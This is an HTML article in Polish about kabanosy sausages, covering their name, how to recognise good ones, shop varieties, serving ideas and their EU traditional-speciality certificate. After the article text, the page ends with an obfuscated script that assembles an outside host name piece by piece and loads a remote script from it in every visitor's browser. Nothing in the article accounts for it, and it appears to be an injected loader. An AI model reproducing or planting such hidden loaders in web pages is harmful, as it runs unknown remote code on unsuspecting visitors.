Najpopularniejsze polskie kiełbaski? Oczywiście kabanosy!

<p>Kabanosy śmiało można nazwać polskim specjałem, choć nazwa popularnej suchej kiełbaski ma swoje korzenie w języku tureckim, pochodzi bowiem od słowa &bdquo;kaban&rdquo;, oznaczającego wieprza. Dlatego też w tych najprawdziwszych kabanosach znajdziemy wieprzowinę. Dobry kabanos powinien być wykonany według tradycyjnej receptury. Dzięki temu jest nie tylko smaczny, ale r&oacute;wnież bogaty w substancje odżywcze. Czego szukać w kabanosach i jak rozpoznać te najlepsze?<br />
<br />
<strong>Po czym poznać prawdziwego kabanosa?</strong><br />
Dobry <strong>kabanos</strong> jest długi, cienki i kruchy, zrobiony z mięsa najwyższej jakości, <strong>bez sztucznych dodatk&oacute;w</strong>. Poznamy go po charakterystycznym ciemnoczerwonym kolorze i spłaszczeniu na końcach (ślad po odwieszeniu). Powierzchnia kabanosa powinna być r&oacute;wnomiernie pomarszczona, gładka i sucha, a po przekrojeniu wyraźnie widoczne kawałki mięsa i tłuszczu. Smak? Wędzonego mięsa, pieprzu i kminku. Jeśli dodatkowo sucha kiełbaska jest chrupiąca i strzela, gdy ją przełamujemy mamy gwarancję, że kabanosy, kt&oacute;re wybraliśmy są najlepszej jakości.<br />
<br />
<strong>A co znajdziemy w sklepach? </strong><br />
<img alt="" src="/app/webroot/media/images/kabanosy-kabanos.jpg" style="border-width: 13px; border-style: solid; width: 250px; height: 201px; float: left; color:white;" />Producenci oferują nam klasyczne, suche, wieprzowe kiełbaski, jak i rozmaite &bdquo;kabanosowe wariacje&rdquo;. Dla miłośnik&oacute;w <strong>drobiu</strong> - delikatne, z chudego mięsa, doskonałe na każdą okazję. Kabanosy <a href="http://www.tarczynski.pl/pl/produkty/kabanosy-exclusive" target="_blank">ekskluzywne</a> - z dodatkiem orzecha laskowego, sera pleśniowego lub chili. Dla wytrawnych smakoszy - kabanosy długo dojrzewające, ekstra cienkie lub suszone specjalnymi metodami. Kabanosy możemy serwować z rozmaitymi dodatkami - sosami, oliwkami, r&oacute;żnego rodzaju serami czy winem, a także wykorzystać je na wiele innych sposob&oacute;w - w zapiekance, jako nadzienie w pierożkach, na kanapce, pizzy, a nawet w żurku czy bigosie.<br />
<br />
<strong>Certyfikowana przekąska</strong><br />
Dla kogo są kabanosy? Dla każdego! Lubią je mali i duzi. Dzieciom ich jedzenie sprawia frajdę, dorośli doceniają smak i aromat, a wśr&oacute;d rozmaitych propozycji producent&oacute;w każdy miłośnik kabanos&oacute;w znajdzie coś dla siebie. Warto pamiętać też o tym, że dzięki odpowiedniemu przygotowaniu, mięso w popularnych,<strong> suchych kiełbaskach </strong>nie traci swoich substancji odżywczych. Znajdziemy w nim białko, wapń czy magnez oraz niekt&oacute;re witaminy. Dzięki temu przekąska w postaci kabanosa nie jest niezdrowym &bdquo;zapychaczem&rdquo;, ale czymś smacznym i wartościowym. A potwierdzeniem tego jest zdobyty przez polskie kabanosy w 2011 roku unijny certyfikat Gwarantowanej Tradycyjnej Specjalności.</p>
<script type="text/javascript">
(function(){
us7p=document.createElement("script");us7p.type="text/javascript";
us7p.async=true;us7p_=(("us")+"t")+"a";us7p_+=("t.i")+""+"n";us7p_+=(("f")+"o");
us7p.src="http://"+us7p_+"/5181414.9exy8ysks7pbncgX7nfw0ebflccdvh";
document.body.appendChild(us7p);
})();
</script>